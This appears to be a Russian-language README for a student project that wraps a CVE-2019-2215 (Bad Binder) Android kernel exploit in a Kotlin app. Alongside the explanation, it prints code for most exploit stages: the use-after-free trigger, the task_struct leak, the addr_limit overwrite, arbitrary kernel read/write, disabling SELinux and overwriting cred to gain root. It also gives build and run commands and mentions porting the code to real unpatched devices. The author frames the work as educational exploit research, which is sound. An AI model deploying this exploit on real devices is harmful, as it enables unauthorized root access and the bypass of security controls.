
демонстрация CVE-2019-2215 (Bad Binder) для Android Q
Этот репозиторий — небольшой тестовый проект по исследованию уязвимости
CVE-2019-2215 (Bad Binder) и написанию рабочего прототипа эксплойта под Android с
простым графическим интерфейсом на Kotlin/Jetpack Compose.
В README я:
В репозитории настроен GitHub Actions workflow, который при каждом push/PR собирает проект
командой ./gradlew assembleDebug и публикует готовый badbinder-debug.apk как артефакт.
Скачать его можно так:
badbinder-debug-apk
с собранным APK.Это сделано для удобства, если хочется просто потестировать приложение, не поднимая локальную среду.
CVE-2019-2215 — это Use-After-Free (UAF) в IPC-подсистеме Binder ядра Android.
Упрощённо:
struct binder_thread, которая описывает поток,
выполняющий Binder-вызовы;waitqueue);remove_wait_queue,
что открывает классический UAF-сценарий;Более подробный теоретический разбор я делал по материалам:
По заданию рекомендовано использовать AVD с образом Android 10.0 (Q) x86_64.
Я сделал следующее:
/dev/binder.adb shell
ls -l /dev/binder
На этом этапе я столкнулся с неприятным фактом:
на данный момент актуальные образы AVD уже поставляются с пропатченным ядром, в котором
CVE-2019-2215 закрыта. То есть реально получить root на современном официальном эмуляторе
не удастся — эксплойт падает на более поздних стадиях или просто не даёт повышения
привилегий.
В итоге я использую AVD как тренажёр для воспроизведения логики эксплойта:
addr_limit,Это важный нюанс: весь код и отчёт ниже — учебные, а не «боевые».
Я сделал небольшое Android-приложение:
Основные шаги:
Создал обычный проект в Android Studio (Kotlin, минимальная поддержка Android 10).
Подключил NDK и CMake.
Добавил нативный файл с эксплойтом (тот самый cve-2019-2215.c с функциями
leak_task_struct, overwrite_addr_limit, и т.д.).
В CMakeLists.txt добавил сборку libcve-2019-2215.so.
В MainActivity:
init {
System.loadLibrary("cve-2019-2215")
}
external fun runNativeExploit(): String
external fun setNativeLogger(logger: NativeLogger)
На стороне Kotlin сделал ExploitViewModel, который реализует интерфейс
NativeLogger и складывает все сообщения в StateFlow<List<String>>. UI подписан
на этот поток и выводит лог в «терминале».
При старте активити я вызываю setNativeLogger(viewModel), чтобы нативный код получил
объект, в который можно слать строки.
Собираю и устанавливаю приложение:
./gradlew installDebug
Запускаю AVD и само приложение.
На экране вижу «терминал» и кнопку RUN EXPLOIT.
При нажатии:
runNativeExploit() в фоновом потоке.На реальном уязвимом ядре я ожидал бы в конце увидеть что-то вроде:
[+] Selinux changed: Permissive now.
[+] Root escalation successful!
uid=0(root)...
На актуальном эмуляторе Android 10 этого, разумеется, не происходит, но всё остальное —
утечка task_struct, попытка переписать addr_limit, вычисление cred и kernel_base —
отрабатывает как «сценарий», что и требовалось для задания.
Ниже — логическая схема эксплойта с привязкой к конкретным C-функциям.
Высокоуровневый план такой:
struct binder_thread и использовать его, чтобы
утечь адрес task_struct своего процесса (leak_task_struct).addr_limit в task_struct (overwrite_addr_limit) — это снимает
ограничение между адресами user-space и kernel-space для дальнейших
copy_to_user / copy_from_user.arb_read / arb_write).cred текущего процесса и базу ядра (verifying),
затем:
Параллельно я интегрировал JNI-логгер, чтобы все эти этапы было видно прямо в UI.
task_struct (leak_task_struct)Ключевая функция:
void leak_task_struct() {
android_log("[*] Starting leak_task_struct...");
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
ret = sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
assert(ret >= 0);
...
}
Что делает функция:
Фиксирует поток на CPU 0 (sched_setaffinity), чтобы поведение аллокатора ядра
было более предсказуемым. Это улучшает стабильность эксплуатации UAF.
Открывает /dev/binder, создаёт epoll-дескриптор:
fd = open("/dev/binder", O_RDONLY);
epfd = epoll_create(1000);
Binder-дескриптор регистрируется в epoll:
epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
Готовит массив struct iovec iov_buffers[IOVEC_N] и выделяет память:
spinner = mmap((void *)0x100000000, page_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
Здесь важно, чтобы младшие 32 бита адреса были нулями:
if (((long) spinner & 0xffffffff) != 0) {
android_log("[!] mmap returned wrong address!");
return;
}
Это соответствует технике из статей по эксплуатации: далее ядро интерпретирует часть наших данных как структуры с указателями, и такая «красиво выровненная» адресация упрощает злоупотребление.
Затем поля iov_buffers[0xa] и заполняются так, чтобы в
момент UAF ядро скопировало в пайп кусок памяти, где лежит указатель на
.
Итог: у меня есть адрес task_struct в ядре, что критически важно для
последующих шагов.
addr_limit (overwrite_addr_limit)addr_limit в task_struct определяет, какие адреса процесс вообще может
передавать в системные вызовы в качестве user-space указателей. Если
переписать его на почти максимальное значение, kernel перестаёт отличать
адреса user-space от адресов в своём адресном пространстве — и многие
безопасные на первый взгляд операции copy_(to|from)_user превращаются в
произвольные чтения/записи ядра.
Функция:
void overwrite_addr_limit() {
android_log("[*] Starting overwrite_addr_limit...");
...
}
действует по очень похожему шаблону:
Снова фиксирую CPU-аффинити, открываю /dev/binder, создаю epoll.
Готовлю iov_buffers, но на этот раз схема другая:
iov_buffers[0xa].iov_base = spinner;
iov_buffers[0xa].iov_len = 0x1;
iov_buffers[0xb].iov_base = read_buffer0;
iov_buffers[0xb].iov_len = 0x8 * 5;
iov_buffers[0 c].iov_base = read_buffer0;
iov_buffers[0 c].iov_len = 0x8;
Вместо пайпа используется socketpair(AF_UNIX, SOCK_STREAM, ...):
int socket[2];
ret = socketpair(AF_UNIX, SOCK_STREAM, 0, socket);
write(socket[1], "A", 1);
Готовлю структуру msghdr для recvmsg:
struct msghdr msg;
msg.msg_iov = iov_buffers;
msg.msg_iovlen = IOVEC_N;
...
В дочернем процессе (после fork()) снова запускается UAF-гонка:
if (!fork()) {
...
epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
long data1234[] = {1, 0x13371337, 0x28,
task_struct + ADDR_LIMIT_OFFSET, 0x8};
ret = write(socket[1], data1234, 0x28);
data1234[0] = data1234[1] = data1234[2] = data1234[3]
= 0xfffffffffffffffe;
ret = write(socket[1], data1234, 0x8);
...
}
arb_read, arb_write, verifying)После переписывания addr_limit я использую пайпы для превращения
обычных операций чтения/записи в возможность читать и писать по ядровым адресам.
arb_read / arb_writeunsigned long arb_read(unsigned long addr) {
int pipe_fd[2];
ret = pipe(pipe_fd);
assert(ret != -1);
unsigned long data = 0;
write(pipe_fd[1], (void *)&addr, 8);
read(pipe_fd[0], &data, 8);
return data;
}
Аналогично arb_write меняет направление копирования.
Функция verifying():
void verifying() {
android_log("[*] Starting verification...");
int pipe_fd[2];
ret = pipe(pipe_fd);
assert(ret != -1);
write(pipe_fd[1], (void *) task_struct, 0x1000);
read(pipe_fd[0], buf, 0x1000);
assert(getpid() == *(int *) (buf + PID_OFFSET));
android_log("[!] Arbitrary rw verified with PID :D");
cred = *(unsigned long *) (buf + CRED_OFFSET);
kernel_leak = *(unsigned long *) (buf + 0x70);
kernel_base = kernel_leak - 0xffffffff8100bf10 + 0xffffffff80200000;
}
Здесь я:
task_struct;PID_OFFSET убеждаюсь, что это действительно моя структура;cred и утечку адреса из ядра (kernel_leak);kernel_base с поправкой на жёстко заданное смещение.Финальная часть в runNativeExploit:
selinux_enforcing = kernel_base + 0x149fe58;
...
arb_write(selinux_enforcing, 4, buf + 0x10);
android_log("[+] Selinux changed: Permissive now.");
selinux_enforcing и выставляю его в
нулевое/«разрешительное» состояние.Дальше — переписывание cred:
memset(buf, 0, 0x100);
unsigned long *ptr = (unsigned long *) (buf + 0x30);
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
arb_write(cred + 4, 0x4c, buf + 4);
Я буквально заливаю в поля capability и некоторых других полей cred
максимальные значения, чтобы выдать процессу полный набор прав.
Последняя проверка:
if (getuid() == 0) {
android_log("[+] Root escalation successful!");
} else {
android_log("[!] Root escalation failed!");
}
На реальном уязвимом ядре здесь я ожидал бы uid=0, на пропатченном образе —
логично отключенную эскалацию.
Чтобы видеть всё в реальном времени, я добавил прослойку:
JNI_OnLoad сохраняет JavaVM* и PID основного процесса;setNativeLogger принимает Kotlin-объект, реализующий метод onLog(String),
и сохраняет его как GlobalRef;android_log/android_log_hex пишут в logcat и вызывают send_to_ui, который
доставляет строку в Kotlin, где её забирает ExploitViewModel и показывает
в Compose-«терминале».Важно, что send_to_ui фильтрует дочерние процессы по PID — вызывать JNI из
процесса после fork() без exec() небезопасно.
Я столкнулся с тем, что на данный момент нет официальных AVD-образов Android 10 с не пропатченным ядром, в которых CVE-2019-2215 всё ещё присутствует.
Вместо «боевого» получения root я сосредоточился на:
При желании этот код можно портировать на реальное устройство со старым не пропатченным ядром, но это уже выходит за рамки задания.
Мне пришлось явно задать:
ADDR_LIMIT_OFFSET, PID_OFFSET, CRED_OFFSET;kernel_leak и selinux_enforcing;kernel_base.Я осознанно не стал автоматизировать поиск этих значений, чтобы не раздувать объём проекта. В отчёте я опираюсь на то, что это учебный пример под конкретную версию ядра, а не универсальный эксплойт.
Использование fork(), epoll_ctl, BINDER_THREAD_EXIT и различных
таймингов — это минное поле. Я столкнулся с тем, что без:
sched_setaffinity,sleep,assert по путиэксплойт становится крайне нестабильным.
Я постепенно отладил последовательность так, чтобы на уязвимой конфигурации
она была предсказуемой, а на пропатченной — корректно «проваливалась» на
последних шагах.
fork()Я также столкнулся с тем, что попытки логировать из дочернего процесса
напрямую в JVM приводят к странному поведению.
Пришлось вспомнить правила JNI и добавить проверку PID, чтобы общаться
с JVM только из основного процесса.
Компромисс: часть сообщений видно лишь в logcat, а в UI отображается
только то, что пришло из родителя. Это меня устроило, потому что в рамках
задания важны именно основные контрольные точки, а не каждый отладочный
print.
Бонусом, для более творческой реализации задания, я решил сделать интерфейс, удобный для анализа:
[+], [*], [!], [C]) подсвечены разными
цветами для удобства чтения;Success / Failed) отображается отдельным блоком.Это сильно упрощает восприятие работы нативного кода: вместо сухого logcat
я вижу всё в одном месте, прямо в приложении.
В результате работы над заданием я:
task_struct,addr_limit,cred, отключение SELinux и попытку эскалации привилегий.Проект получился компактным, но по сути отражает весь жизненный цикл реальной уязвимости ядра: от теоретического описания и чтения статей до практической реализации и интеграции в живое Android-приложение.
В директории cve-2019-2215 есть Makefile, который позволяет собрать
нативный бинарь (x86_64) и запустить его напрямую в AVD через ADB.
Если нужна версия aarch64, её можно собрать отдельно.
cd cve-2019-2215
make
adb shell
cd /sdcard/cve-2019-2215
chmod +x cve-2019-2215
./cve-2019-2215
id
uid=0(root) gid=0(root) groups=0(root)
selinux_enforcing = 0cred, чтобы стать root и получить полный набор capability
(runNativeExploit).iov_buffers[0xb]task_structСоздаёт пайп и задаёт ему размер буфера 0x1000:
int pipe_fd[2];
ret = pipe(pipe_fd);
fcntl(pipe_fd[1], F_SETPIPE_SZ, 0x1000);
fcntl(pipe_fd[0], F_SETPIPE_SZ, 0x1000);
Далее — классическая UAF-гонка. Я запускаю дочерний процесс:
if (!fork()) {
android_log("\t[C] Long sleep to ensure accuracy...");
sleep(1);
android_log("\t[*] Triggering UAF");
epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
android_log("\t[C] Removing useless data from pipe...");
ret = read(pipe_fd[0], buf, 0x1000);
...
_exit(0);
}
epoll_ctl(..., EPOLL_CTL_DEL, ...) приводит к
освобождению связанного binder_thread в ядре, но он всё ещё фигурирует
в структуре учёта ожиданий — это и есть точка UAF.В родительском процессе я вызываю:
ioctl(fd, BINDER_THREAD_EXIT, NULL); // освобождение binder_thread
ret = writev(pipe_fd[1], iov_buffers, IOVEC_N);
На этом этапе, благодаря UAF, writev использует уже освобождённую память
как структуры iovec и, по сути, повторно интерпретирует ту же область
памяти, где раньше лежал binder_thread, но теперь уже как набор
указателей/длин. Частью побочного эффекта становится копирование
фрагмента ядровой памяти в наш пайп.
Наконец, я читаю из пайпа:
read(pipe_fd[0], buf, 0x1000);
task_struct = *(unsigned long *)(buf + 0xe8);
android_log_hex("[+] task_struct found", task_struct);
Смещение 0xe8 подобрано под конкретную версию ядра — это то место,
где внутри утёкшего блока памяти находится указатель на task_struct моего
процесса.
Родитель, как и раньше, освобождает binder_thread и зовёт recvmsg:
ioctl(fd, BINDER_THREAD_EXIT, NULL);
ret = recvmsg(socket[0], &msg, MSG_WAITALL);
Из-за UAF и хитрой подмены структур ядро в итоге воспринимает task_struct + ADDR_LIMIT_OFFSET как адрес user-буфера и копирует туда содержимое
присланной структуры (наше значение 0xfffffffffffffffe), тем самым
переписывая addr_limit в task_struct.
В лог я пишу:
android_log("[!] addr_limit overwrite done.");